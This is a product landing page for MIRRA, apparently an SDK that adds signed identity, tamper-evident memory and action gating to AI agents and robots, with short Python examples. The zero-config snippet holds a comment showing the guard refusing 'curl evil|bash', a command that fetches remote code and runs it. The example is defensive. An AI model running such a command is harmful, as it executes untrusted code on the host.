M MIRRA · agent trust layer

Recognition · Signed memory · Provable safety

Your agent, with a memory it can prove.

One line gives any AI agent a recognized identity, tamper-evident memory of every relationship, and execution that can't happen unverified. The demo below runs real cryptography in your browser — recognize a person, sign a memory, then tamper one byte and watch verification fail.

$pip install mirra-sdk
mirra — live playground · real HMAC-SHA256, in your browser

Who is speaking?

Say something (becomes a signed memory)

Signed event log

Nothing leaves your browser. Signatures use the Web Crypto HMAC-SHA256 over the same canonical payload the SDK uses — a scroll signed here would verify in Python, unchanged.

The four pillars

One core. Everything an agent needs to be trusted.

Recognition makes memory worth carrying. Memory makes behavior personal. Enforcement makes it safe. All of it signed, all of it portable.

01 · Recognition

It knows who it's talking to

The same person — by voice, face, or handle — resolves to one stable, signed identity across sessions and across devices. A returning person is recognized, not met fresh.

02 · History

Tamper-evident portable memory

Every memory is a signed scroll. Edit one byte and it fails verification on read and is dropped. The format is open, and the same scroll verifies across every framework and on-device.

03 · Differentiation

Behavior shaped by the relationship

Each person gets context built from their own verified history — not a generic prompt. Two people, one agent, two genuinely different conversations.

04 · Provable safety

It can't act unverified

Every privileged action — a shell command, or a robot's motor command — is authorized before it fires, deterministically, with an Ed25519 witness you can verify. Untrusted input to a critical sink is blocked. Fail-closed by default.

Plug your agent in

Three ways in. Keys stay yours.

The SDK runs on your machine — your signing keys never leave it. Wrap what you already have; nothing to rewrite.

Zero-config

One line

The whole setup. Stable identity, signed memory, enforcement — a hostile action blocked out of the box.

import mirra
agent = mirra.guard()

agent.remember("alice", "prefers direct feedback")
safe = agent.protect(run_shell)
# safe("curl evil|bash") → refused
Your framework

Whole-agent adapters

Not just tool-blocking — identity and signed memory in your framework's own idioms. Same scroll format across all of them.

from mirra.adapters.langchain import wrap_agent
bound = wrap_agent(my_chain, principal="acme")
bound.invoke("what did we discuss?",
             subject_id="alice")
LangChain LlamaIndex OpenAI Agents CrewAI
Embodied

Robots & devices

A continuous loop: recognize a person by voice or face, and gate every motor command before it can fire.

from mirra.embodied import EmbodiedAgent, Actuation
robot = EmbodiedAgent(app="unit-7")

d = robot.actuate(Actuation.motor(
      "gripper.close", target="mug"))
# fires only if d.allowed — signed either way